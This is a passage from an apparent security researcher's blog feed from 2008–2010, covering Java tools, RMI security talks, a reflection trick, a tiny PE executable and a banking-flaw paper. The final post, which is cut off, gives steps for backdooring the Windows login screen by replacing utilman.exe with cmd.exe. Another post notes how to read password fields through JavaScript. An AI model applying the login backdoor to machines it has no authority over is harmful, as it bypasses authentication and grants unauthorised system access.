"wSS2008!"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-692232485458921457?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/692232485458921457/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=692232485458921457' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/692232485458921457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/692232485458921457'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2009/07/windows-storage-server-2008.html' title='Windows Storage Server 2008'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-8572375614317142368</id><published>2009-06-30T21:07:00.001+01:00</published><updated>2010-01-10T08:52:10.498Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java api hsbc'/><category scheme='http://www.blogger.com/atom/ns#' term='hsbc api'/><title type='text'>Adam Boulton's Java HSBC API - No, not the payment gateway!</title><content type='html'>So, I have finally got round to setting up the HSBC Java API (some of you may remember my posts from months back mentioning my personal project I was working on &lt;a href="http://aboulton.blogspot.com/2008/03/hsbc-bank-account-aggregation.html"&gt;HSBC Bank account aggregation&lt;/a&gt;).  Writing this API has been a personal project of mine which has been on and off for a while now due to other committments. The idea behind this API is that it easily allows you to access your UK HSBC accounts and transaction history. I have so far found it useful for tracking my expenditure (by grouping transactions) and using it for notifications about the most recent transaction to be processed on my account. I am sure many developers will find this project interesting and will find many interesting ways to incorporate it into their applications.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I have finally started a Google code project......&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://code.google.com/p/jhsbc/"&gt;http://code.google.com/p/jhsbc/&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-8572375614317142368?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/8572375614317142368/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=8572375614317142368' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/8572375614317142368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/8572375614317142368'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2009/06/java-hsbc-api.html' title='Adam Boulton&apos;s Java HSBC API - No, not the payment gateway!'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-7443321339009045533</id><published>2009-06-30T16:06:00.000+01:00</published><updated>2010-01-10T08:54:21.983Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java pdf'/><title type='text'>Java PDF Library</title><content type='html'>I have been playing around with extracting data from PDF files. Apache PDF Box looked pretty promising but unfortunately it is far behind some of the others that are available. iText is a mature library but lacks the ability to extract information (it is actually a PDF creator). I was very impressed by the work done by &lt;a href="http://asprise.com/about/"&gt;LAB Asprise!&lt;/a&gt;. It took minutes to understand their impressive API and start coding. The parsing is fast, and so far appears accurate. The library is also extremely small for the abilities it provides (just over 3MB). If you are looking for a powerful Java API for processing PDFs then I strongly recommend it. Here is a code sample for extracting text (taken from their site). The code clearly demonstrates how much of an awesome job these guys have done....&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;PDFReader reader = new PDFReader(new File(&amp;quot;my.pdf&amp;quot;));&lt;br /&gt;reader.open(); // open the file.&lt;br /&gt;int pages = reader.getNumberOfPages();&lt;br /&gt;&lt;br /&gt;for(int i=0; i &amp;lt; pages; i++)&lt;br /&gt;{&lt;br /&gt;String text = reader.extractTextFromPage(i);&lt;br /&gt;System.out.println(&amp;quot;Page &amp;quot; + i + &amp;quot;: &amp;quot; + text);&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-7443321339009045533?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/7443321339009045533/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=7443321339009045533' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/7443321339009045533'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/7443321339009045533'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2009/06/java-pdf-library.html' title='Java PDF Library'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-1960412777915416581</id><published>2009-04-09T08:11:00.000+01:00</published><updated>2010-04-23T08:16:08.522+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rmi spii'/><category scheme='http://www.blogger.com/atom/ns#' term='java rmi security'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking java rmi'/><title type='text'>Security Assessing Java RMI Slides</title><content type='html'>There has been alot of interest lately in RMI security and people trying to hunt down my slides from the &lt;a href="http://www.owasp.org/index.php/Security_Assessing_Java_RMI"&gt;presentation I did at OWASP&lt;/a&gt;. The slides can be found &lt;a href="http://www.owasp.org/index.php/Image:Adam_Boulton_Security_Assessing_Java_RMI_-_OWASP_NYC.ppt"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The original presentation can be found:&lt;br /&gt;&lt;a href="http://video.google.com/videoplay?docid=1673714450539106400#"&gt;http://video.google.com/videoplay?docid=1673714450539106400#&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-1960412777915416581?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/1960412777915416581/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=1960412777915416581' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/1960412777915416581'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/1960412777915416581'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2009/04/security-assessing-java-rmi-slides.html' title='Security Assessing Java RMI Slides'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-4299278779724543506</id><published>2009-03-25T11:44:00.000Z</published><updated>2009-06-22T15:03:42.480+01:00</updated><title type='text'>Editing webpages with JavaScript snippet</title><content type='html'>So, most of you will no doubt know that you can execute JavaScript from the URL bar and how useful it can be. For example, you could view the text is password fields which has proved to be useful on several occassions (alert document.form1.passwordField.text) . An interesting JS snippet I came across was:&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;javascript:document.body.contentEditable='true'; document.designMode='on'; void 0&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Just type that into the URL, then you can start editing the webpage you are viewing straight from the browser.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-4299278779724543506?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/4299278779724543506/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=4299278779724543506' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/4299278779724543506'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/4299278779724543506'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2009/03/editing-webpages-with-javascript.html' title='Editing webpages with JavaScript snippet'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-1066006040771701892</id><published>2009-03-10T21:26:00.001Z</published><updated>2010-01-10T08:53:09.433Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='htmlunit logging'/><title type='text'>Disable HtmlUnit logging</title><content type='html'>HtmlUnit is a pretty decent scriptable browser. I use it for developing alot of website scrapers and various bots. By default, the logging to the standard output stream is pretty verbose. A quick way to disable it programmatically is to add the following static initializer to your code:&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;   static {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;        LogFactory.getFactory().setAttribute("org.apache.commons.logging.Log", "org.apache.commons.logging.impl.NoOpLog");&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;    }&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-1066006040771701892?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/1066006040771701892/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=1066006040771701892' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/1066006040771701892'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/1066006040771701892'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2009/03/disable-htmlunit-logging.html' title='Disable HtmlUnit logging'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-3642043935561664808</id><published>2009-03-10T09:53:00.000Z</published><updated>2009-03-10T11:00:15.777Z</updated><title type='text'>Strings are immutable in Java. Really, Mr. Anderson?</title><content type='html'>&lt;span style="font-family:Courier New;"&gt;&lt;span style="font-family:'Courier New';"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;Take a look at  the following code, the output is not what you may  expect ;)&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:verdana;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;//MindWarp.java&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;br /&gt;public class MindWarp &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="font-family:'Courier New';"&gt;&lt;span class="Apple-style-span"  style="font-family:verdana;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;{&lt;br /&gt;  public  static void main(String[] args)&lt;br /&gt;  {&lt;br /&gt;     System.out.println(MR_ANDERSON);&lt;br /&gt;  }&lt;br /&gt;  private static final String  MR_ANDERSON = "Adam, RIM Security Researcher";&lt;br /&gt;  private static final  Warper warper = new Warper(); &lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;//The hackers  class ;)&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;//Warper.java - Hacks the String object which is on  the heap....&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;br /&gt;import java.lang.reflect.*;&lt;br /&gt;&lt;br /&gt;public class Warper  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="font-family:'Courier New';"&gt;&lt;span class="Apple-style-span"  style="font-family:verdana;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;{&lt;br /&gt;  private static Field stringValue;&lt;br /&gt;  &lt;br /&gt;static &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="font-family:'Courier New';"&gt;&lt;span class="Apple-style-span"  style="font-family:verdana;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;{&lt;br /&gt;    try&lt;br /&gt;     {&lt;br /&gt;      stringValue = String.class.getDeclaredField("value");      &lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;//String has a private char [] called "value"&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;br /&gt;    }&lt;br /&gt;     catch(NoSuchFieldException ex)&lt;br /&gt;    {&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="font-family:'Courier New';"&gt;&lt;span class="Apple-style-span"  style="font-family:verdana;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;//Should deploy a safety net here i.e enumerate a char[] incase the variable inside the String class is not called "value"&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;br /&gt;        ex.printStackTrace(); &lt;br /&gt;    }&lt;br /&gt;    if (stringValue  != null) {&lt;br /&gt;      stringValue.setAccessible(true); // make field public  ;)&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;  public Warper() {&lt;br /&gt;    try {&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="font-family:'Courier New';"&gt;&lt;span class="Apple-style-span"  style="font-family:verdana;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;//String must be same length, otherwise IndexOutOfBoundsException&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;br /&gt;       stringValue.set("Adam, RIM Security Researcher", "You have been hacked! ! !  ! !".toCharArray()); &lt;br /&gt;    } catch(IllegalAccessException ex)  {} // shhh&lt;br /&gt;  }&lt;br /&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-3642043935561664808?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/3642043935561664808/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=3642043935561664808' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/3642043935561664808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/3642043935561664808'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2009/03/strings-are-immutable-in-java-really-mr.html' title='Strings are immutable in Java. Really, Mr. Anderson?'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-2500372325845249514</id><published>2008-11-07T20:40:00.000Z</published><updated>2009-06-22T15:01:37.588+01:00</updated><title type='text'>Assembly competitions</title><content type='html'>I have been in a couple of Assembly competitions recently on a private forum. They have been very interesting, one in particular was to create the smallest PE file (Windows executable) that displays the message "ADZ" in a graphical message box i.e use of user32.MessageBoxA() and must exit without an exception. I am currently in first position with &lt;span style="font-weight: bold;"&gt;109 bytes!&lt;/span&gt; So its a challenge to any reverse engineering experts to try and beat that ;) I will be posting my solution and analysis once of the competition ends, which is in about 5 days. Here is a useful resource to get you started:&lt;br /&gt;&lt;br /&gt;http://www.phreedom.org/solar/code/tinype/&lt;br /&gt;&lt;br /&gt;EDIT: Well 109 bytes was a clear winner :) If anyone got smaller don't hesitate to let us know! Here is my bytecode:&lt;br /&gt;&lt;br /&gt;4D 5A CC CC 50 45 00 00 4C 01 01 00 68 21 00 40&lt;br /&gt;00 E8 65 1D 40 7C EB 2D 04 00 03 01 0B 01 08 00&lt;br /&gt;04 75 73 65 72 33 32 00 04 00 00 00 0C 00 00 00&lt;br /&gt;04 00 00 00 0C 00 00 00 00 00 40 00 04 00 00 00&lt;br /&gt;04 00 00 00 04 6A 30 EB 05 41 44 5A 04 00 68 6A&lt;br /&gt;00 40 00 EB 01 CC EB 01 88 68 6A 00 40 00 EB 02&lt;br /&gt;02 00 6A 00 E8 81 07 05 7E C3 53 41 46&lt;br /&gt;&lt;br /&gt;&lt;back&gt;&lt;/back&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-2500372325845249514?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/2500372325845249514/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=2500372325845249514' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/2500372325845249514'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/2500372325845249514'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2008/11/assembly-competitions.html' title='Assembly competitions'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-2376638544833769936</id><published>2008-10-02T20:42:00.000+01:00</published><updated>2009-01-03T15:12:37.840Z</updated><title type='text'>OWASP NYC</title><content type='html'>Fantastic conference, the presentation went really well. Already starting to see people referencing my RMI hacking presentation, thanks for all the feedback!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blogs.iss.net/archive/VB2008_and_OWASP.html"&gt;Gunter Ollman's Blog&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://secshoggoth.blogspot.com/2008_09_01_archive.html"&gt;Secshoggoth&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It is great to see the search engine results changing in respects to RMI security. The start of all this happened 4 years ago during my Software Engineering degree and I was taught to develop my first RMI service. At the time, things didn't seem right from a security perspective but I didn't have the time nor skillset to pursue it at the time. I remember attempting to assess an RMI service at the time but couldn't get past step 1 of what I presented at the OWASP conference. However, my interest was sparked again during a security assessment, so over the last few weeks the RMI research began and things started to come together very quickly. I am looking forward to releasing alot of research and new tools over the coming weeks.&lt;br /&gt;&lt;br /&gt;Cheers&lt;br /&gt;&lt;br /&gt;EDIT: The video is now available via Google Videos&lt;br /&gt;&lt;a href="http://video.google.com/videoplay?docid=4135644338377752676&amp;amp;ei=knDrSMO3FomuiALZsb24Bg&amp;amp;q=adam+boulton"&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href="http://video.google.com/videosearch?q=adam+boulton+rmi&amp;amp;emb=0&amp;amp;aq=f#"&gt;Hacking RMI services&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Update: Unfortunately I will no longer be releasing the RMI Assessment tools. I have recently left Corsaire and will be joining Research In Motion (Blackberry). The research and tools are Corsaire's intellectual property.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-2376638544833769936?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/2376638544833769936/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=2376638544833769936' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/2376638544833769936'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/2376638544833769936'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2008/10/owasp-nyc.html' title='OWASP NYC'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-6790596813825941808</id><published>2008-09-22T01:55:00.001+01:00</published><updated>2008-10-08T17:08:09.613+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rmi hacking security distributed computing'/><title type='text'>Hacking Java Remote Method Invocation</title><content type='html'>Things have been a quiet here recently. I have been preparing for my RMI hacking presentation for OWASP in NYC. I have developed a suite of tools which finger print an RMI service and aid in building the vital stub component which is required to communicate with RMI services. A video of my presentation will be available on the coming weeks and the software will be released soon. You can find an abstract of my talk here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.owasp.org/index.php/Security_Assessing_Java_RMI"&gt;Security Assessing Java RMI at OWASP NYC&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I look forward to seeing you all.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-6790596813825941808?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/6790596813825941808/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=6790596813825941808' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/6790596813825941808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/6790596813825941808'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2008/09/hacking-java-remote-method-invocation.html' title='Hacking Java Remote Method Invocation'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-1431255815367345678</id><published>2008-08-16T01:58:00.000+01:00</published><updated>2008-10-08T17:11:40.865+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='financial application testing bank security'/><title type='text'>Breaking the bank</title><content type='html'>My new paper has finally been released after weeks of intense peer reviews. This paper draws attention to how the use of common programming APIs and practices could lead to flaws in the processing of numeric data, which could allow attackers to manipulate the outcome of transactions or otherwise interfere with the accuracy of calculations. It discusses the technical vulnerabilities typically observed in both the validation and processing of numeric data that could expose an organisation to unmanaged risk. It is intended for a technically literate audience involved in developing or testing financial applications, and to provide technical insight to those responsible for their management. The vulnerabilities are presented with source code examples, suggestions on how to identify the flaws during the testing phases and recommendations for mitigating the risk.&lt;br /&gt;&lt;br /&gt;http://research.corsaire.com/whitepapers/080715%20-breaking-the-bank-numeric-processing.pdf&lt;br /&gt;&lt;br /&gt;A colleague and good friend of mine, Daniel Cuthbert, has presented parts of the research at OWASP NYC 2008, the video is available &lt;a href="http://video.google.com/videoplay?docid=6800291421728032058&amp;amp;ei=itvsSLnjBYuWiQKb8tCcBg&amp;amp;q=daniel+cuthbert"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Enjoy&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6178504532294964264-1431255815367345678?l=aboulton.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aboulton.blogspot.com/feeds/1431255815367345678/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6178504532294964264&amp;postID=1431255815367345678' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/1431255815367345678'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6178504532294964264/posts/default/1431255815367345678'/><link rel='alternate' type='text/html' href='http://aboulton.blogspot.com/2008/08/breaking-bank.html' title='Breaking the bank'/><author><name>Adam Boulton</name><uri>https://profiles.google.com/112377091729314575713</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-hK693PVil_U/AAAAAAAAAAI/AAAAAAAAAAA/CLwC_D5BtLk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6178504532294964264.post-6456994913735990120</id><published>2008-06-19T13:47:00.000+01:00</published><updated>2008-06-19T13:55:12.546+01:00</updated><title type='text'>Backdooring Windows (XP, Vista) Authentication</title><content type='html'>From the Windows login screen there is one accessible application, the Utility Manager (c:\windows\system32\utilman.exe). You can access this by pressing win key + U. To add a backdoor to the windows login screen boot into a live distro (BackTrack, BartPE etc) so the disk can be mounted. Simply replace utilman.exe with a copy of cmd.exe. When presented with the login screen 